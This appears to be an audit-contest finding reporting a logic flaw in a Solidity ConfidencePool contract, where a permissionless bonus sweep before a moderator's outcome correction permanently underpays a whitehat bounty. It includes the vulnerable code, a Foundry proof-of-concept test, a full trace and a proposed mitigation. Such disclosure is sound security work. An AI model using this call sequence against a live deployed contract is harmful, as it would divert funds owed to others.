FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

sweepUnclaimedBonus() skips claimsStarted lock — full bonus drained to recovery before SURVIVED→CORRUPTED re-flag, permanently underpaying good-faith whitehat bounty

Author Revealed upon completion

Title

sweepUnclaimedBonus() can send the entire bonus pool to recoveryAddress before a pending moderator correction resolves — permanently under-paying the good-faith whitehat's guaranteed full-pool bounty

Description

Root Cause

sweepUnclaimedBonus() at ConfidencePool.sol:474 is the only payout function in the contract that moves real value without setting claimsStarted = true. Every other payout function — claimSurvived, claimCorrupted, claimAttackerBounty, sweepUnclaimedCorrupted, every branch inside claimExpired — sets this flag on first payout, which closes the moderator's re-flag window. sweepUnclaimedBonus intentionally skips it (line 503-504) to prevent a 1-wei dust donation from blocking a harmless correction.

Separately, when riskWindowStart == 0 the reserved calculation skips the bonus term entirely (reserved = totalEligibleStake, line 31), so the entire bonus pool is treated as sweepable surplus. These two gaps compound: the sweep drains the bonus pool while the re-flag window is still open, and the subsequent bountyEntitlement calculation reads the already-drained totalBonus.

Walkthrough

Take a pool with 50,000 staked and a 10,000 bonus contributed by the sponsor.

  1. The registry shows the agreement was corrupted, but nobody happened to interact with the pool while it was actively under attack, so riskWindowStart never got set on-chain.

  2. The moderator, believing the breach fell outside this pool's scope, calls flagOutcome(SURVIVED, ...).

  3. Because riskWindowStart is still 0, sweepUnclaimedBonus() treats the whole 10,000 as unclaimed surplus. It's permissionless — anyone can call it — and the 10,000 moves straight to recoveryAddress.

  4. New information turns up, or the moderator just reconsiders. They correct the flag to CORRUPTED, good faith, attacker named as Alice.

  5. Alice is owed the full pool under the contract's own rules — 60,000. But bountyEntitlement is calculated from the live totalBonus, which is now zero. She gets 50,000.

The 10,000 is already gone by the time the correction happens. It's sitting with recoveryAddress, and nothing in the contract requires it be handed over — whether Alice actually gets made whole comes down to whether the sponsor feels like sending it back voluntarily.

Relevant Code

sweepUnclaimedBonus() at ConfidencePool.sol:474:

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) { // <-- bonus only reserved if riskWindowStart != 0
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus; // <-- drains totalBonus
}
// Intentionally does NOT set claimsStarted. (line 503-504)
stakeToken.safeTransfer(recoveryAddress, amount);
}

flagOutcome() at ConfidencePool.sol:322, which is allowed to fire again before any claim happens:

if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
...
snapshotTotalBonus = totalBonus; // <-- re-reads totalBonus, which may now be 0
...
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;

When riskWindowStart == 0, the reserved calculation skips the bonus term entirely, so amount equals the full bonus, not dust. And claimsStarted stays false, so a second flagOutcome call is allowed — but by then totalBonus has been zeroed.

Risk

Severity

Medium. Real, permanent loss to a specific named party (the good-faith whitehat). No admin key compromise or user mistake required — only a moderator correcting their initial flag, which is normal expected behavior the contract explicitly supports.

Impact

A named, good-faith whitehat receives snapshotTotalStaked (50,000 in the PoC) instead of snapshotTotalStaked + snapshotTotalBonus (60,000). The 10,000 shortfall sits permanently in the sponsor-controlled recoveryAddress wallet with no contractual obligation to return it — and with a direct financial incentive to keep it.

pre-conditions

  • riskWindowStart == 0 at the time of the sweep (no on-chain interaction occurred during the active-risk window)

  • The moderator first flags SURVIVED, then corrects to CORRUPTED (good faith, named attacker)

  • A bonus pool exists (non-zero totalBonus contributed by the sponsor)

Proof of Concept

Inline Test (test/unit/SweepUnclaimedBonus.t.sol)

function testSweepUnclaimedBonusShortchangesGoodFaithBounty() external {
uint256 staked = 50_000 * ONE;
uint256 bonus = 10_000 * ONE;
_stake(alice, staked);
_contributeBonus(carol, bonus);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.claimsStarted(), false);
assertEq(pool.riskWindowStart(), 0);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), bonus);
assertEq(pool.totalBonus(), 0);
assertEq(pool.claimsStarted(), false, "sweep does not lock the moderator out");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), staked);
// bountyEntitlement = snapshotTotalStaked(50000) + snapshotTotalBonus(0) = 50000
// should be 50000 + 10000 = 60000
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), staked);
// whitehat receives 50000 instead of 60000 — 10000 shortfall
}

Forge Trace (real -vvvv output, unedited)

$ forge test --match-test testSweepUnclaimedBonusShortchangesGoodFaithBounty -vvvv
Ran 1 test for test/unit/SweepUnclaimedBonus.t.sol:SweepUnclaimedBonusTest
[PASS] testSweepUnclaimedBonusShortchangesGoodFaithBounty() (gas: 589517)
Traces:
[742162] SweepUnclaimedBonusTest::testSweepUnclaimedBonusShortchangesGoodFaithBounty()
├─ [46465] MockERC20::mint(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 50000000000000000000000 [5e22])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], amount: 50000000000000000000000 [5e22])
│ └─ ← [Stop]
├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← [Return]
├─ [24325] MockERC20::approve(0xa0Cb889707d426A7A386870A03bc70d1b0697598, 50000000000000000000000 [5e22])
│ ├─ emit Approval(owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], spender: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, amount: 50000000000000000000000 [5e22])
│ └─ ← [Return] true
├─ [238061] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::stake(50000000000000000000000 [5e22])
│ ├─ [235392] ConfidencePool::stake(50000000000000000000000 [5e22]) [delegatecall]
│ │ ├─ [2323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [2374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 1
│ │ ├─ [2537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 0
│ │ ├─ [23423] MockERC20::transferFrom(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 0xa0Cb889707d426A7A386870A03bc70d1b0697598, 50000000000000000000000 [5e22])
│ │ │ ├─ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, amount: 50000000000000000000000 [5e22])
│ │ │ └─ ← [Return] true
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 50000000000000000000000 [5e22]
│ │ ├─ emit Staked(staker: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], amount: 50000000000000000000000 [5e22])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [24565] MockERC20::mint(carol: [0xA4d4c1f8a763Ef6a0140D04291eCEef913Ffc272], 10000000000000000000000 [1e22])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: carol: [0xA4d4c1f8a763Ef6a0140D04291eCEef913Ffc272], amount: 10000000000000000000000 [1e22])
│ └─ ← [Stop]
├─ [0] VM::startPrank(carol: [0xA4d4c1f8a763Ef6a0140D04291eCEef913Ffc272])
│ └─ ← [Return]
├─ [24325] MockERC20::approve(0xa0Cb889707d426A7A386870A03bc70d1b0697598, 10000000000000000000000 [1e22])
│ ├─ emit Approval(owner: carol: [0xA4d4c1f8a763Ef6a0140D04291eCEef913Ffc272], spender: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, amount: 10000000000000000000000 [1e22])
│ └─ ← [Return] true
├─ [34637] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::contributeBonus(10000000000000000000000 [1e22])
│ ├─ [34468] ConfidencePool::contributeBonus(10000000000000000000000 [1e22]) [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 1
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 50000000000000000000000 [5e22]
│ │ ├─ [3523] MockERC20::transferFrom(carol: [0xA4d4c1f8a763Ef6a0140D04291eCEef913Ffc272], 0xa0Cb889707d426A7A386870A03bc70d1b0697598, 10000000000000000000000 [1e22])
│ │ │ ├─ emit Transfer(from: carol: [0xA4d4c1f8a763Ef6a0140D04291eCEef913Ffc272], to: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, amount: 10000000000000000000000 [1e22])
│ │ │ └─ ← [Return] true
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 60000000000000000000000 [6e22]
│ │ ├─ emit BonusContributed(contributor: carol: [0xA4d4c1f8a763Ef6a0140D04291eCEef913Ffc272], amount: 10000000000000000000000 [1e22])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [3254] MockAttackRegistry::setAgreementState(6)
│ └─ ← [Return]
├─ [0] VM::prank(moderator: [0x62853092D02FA98524B9618334F605a1801432cA])
│ └─ ← [Return]
├─ [148762] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::flagOutcome(1, false, 0x0000000000000000000000000000000000000000)
│ ├─ [148581] ConfidencePool::flagOutcome(1, false, 0x0000000000000000000000000000000000000000) [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 6
│ │ ├─ emit ScopeLocked(timestamp: 1750000000 [1.75e9])
│ │ ├─ emit RiskWindowEnded(timestamp: 1750000000 [1.75e9])
│ │ ├─ emit OutcomeFlagged(moderator: moderator: [0x62853092D02FA98524B9618334F605a1801432cA], outcome: 1, goodFaith: false, attacker: 0x0000000000000000000000000000000000000000)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [690] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::claimsStarted() [staticcall]
│ ├─ [524] ConfidencePool::claimsStarted() [delegatecall]
│ │ └─ ← [Return] false
│ └─ ← [Return] false
├─ [1498] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::riskWindowStart() [staticcall]
│ ├─ [1332] ConfidencePool::riskWindowStart() [delegatecall]
│ │ └─ ← [Return] 0
│ └─ ← [Return] 0
├─ [31842] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::sweepUnclaimedBonus()
│ ├─ [31679] ConfidencePool::sweepUnclaimedBonus() [delegatecall]
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 60000000000000000000000 [6e22]
│ │ ├─ [24830] MockERC20::transfer(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], 10000000000000000000000 [1e22])
│ │ │ ├─ emit Transfer(from: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, to: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 10000000000000000000000 [1e22])
│ │ │ └─ ← [Return] true
│ │ ├─ emit BonusSwept(caller: SweepUnclaimedBonusTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], recoveryAddress: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 10000000000000000000000 [1e22])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
│ └─ ← [Return] 10000000000000000000000 [1e22]
├─ [1382] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::totalBonus() [staticcall]
│ ├─ [1216] ConfidencePool::totalBonus() [delegatecall]
│ │ └─ ← [Return] 0
│ └─ ← [Return] 0
├─ [690] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::claimsStarted() [staticcall]
│ ├─ [524] ConfidencePool::claimsStarted() [delegatecall]
│ │ └─ ← [Return] false
│ └─ ← [Return] false
├─ [0] VM::prank(moderator: [0x62853092D02FA98524B9618334F605a1801432cA])
│ └─ ← [Return]
├─ [68208] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::flagOutcome(2, true, attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ ├─ [68027] ConfidencePool::flagOutcome(2, true, attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [delegatecall]
│ │ ├─ [323] MockSafeHarborRegistry::getAttackRegistry() [staticcall]
│ │ │ └─ ← [Return] MockAttackRegistry: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ │ ├─ [374] MockAttackRegistry::getAgreementState(MockAgreement: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] 6
│ │ ├─ emit OutcomeFlagged(moderator: moderator: [0x62853092D02FA98524B9618334F605a1801432cA], outcome: 2, goodFaith: true, attacker: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [502] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::bountyEntitlement() [staticcall]
│ ├─ [336] ConfidencePool::bountyEntitlement() [delegatecall]
│ │ └─ ← [Return] 50000000000000000000000 [5e22]
│ └─ ← [Return] 50000000000000000000000 [5e22]
├─ [0] VM::prank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [53322] 0xa0Cb889707d426A7A386870A03bc70d1b0697598::claimAttackerBounty()
│ ├─ [53159] ConfidencePool::claimAttackerBounty() [delegatecall]
│ │ ├─ [537] MockERC20::balanceOf(0xa0Cb889707d426A7A386870A03bc70d1b0697598) [staticcall]
│ │ │ └─ ← [Return] 50000000000000000000000 [5e22]
│ │ ├─ [24830] MockERC20::transfer(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 50000000000000000000000 [5e22])
│ │ │ ├─ emit Transfer(from: 0xa0Cb889707d426A7A386870A03bc70d1b0697598, to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], amount: 50000000000000000000000 [5e22])
│ │ │ └─ ← [Return] true
│ │ ├─ emit AttackerBountyClaimed(attacker: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], amount: 50000000000000000000000 [5e22], totalClaimed: 50000000000000000000000 [5e22], totalEntitlement: 50000000000000000000000 [5e22])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [537] MockERC20::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return] 50000000000000000000000 [5e22]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.17ms (384.25µs CPU time)
Ran 1 test suite in 15.25ms (2.17ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Key observations from the trace:

  1. claimsStarted returns false after the first flagOutcome — re-flag window is open

  2. riskWindowStart returns 0sweepUnclaimedBonus enters the bonus-draining branch

  3. sweepUnclaimedBonus reads balanceOf(pool) = 60,000, transfers 10,000 to recoveryAddress

  4. totalBonus reads 0 after the sweep — the bonus term was drained

  5. claimsStarted still false after sweep — second flagOutcome succeeds

  6. bountyEntitlement returns 50,000 after the CORRUPTED re-flag — stake only, bonus omitted

  7. claimAttackerBounty transfers 50,000 to attacker; final balanceOf(attacker) = 50,000 instead of the owed 60,000

Recommended Mitigation

The obvious fix — just make this function set claimsStarted too — backfires. If a sweep locks the outcome and the moderator later realizes it should've been CORRUPTED, they can no longer fix it at all. The whitehat goes from "underpaid" to "paid nothing."

The better fix uses a distinction the code already makes. This line:

if (totalEligibleStake == 0 || riskWindowStart == 0) { // real bonus money leaving
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}

is the only branch that can ever move something as large as the whole bonus pool — the other branch (pure rounding dust or a stray donation) never touches totalBonus and stays genuinely small. So: add a short delay, just on that branch, before the sweep is allowed to fire — long enough for a moderator correction to land first. Leave the dust-sweeping path exactly as it is, instant and permissionless. That keeps the original goal (a 1-wei donation can't hold a correction hostage) without leaving the real hole open. Exact delay length is a call for the team to make.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!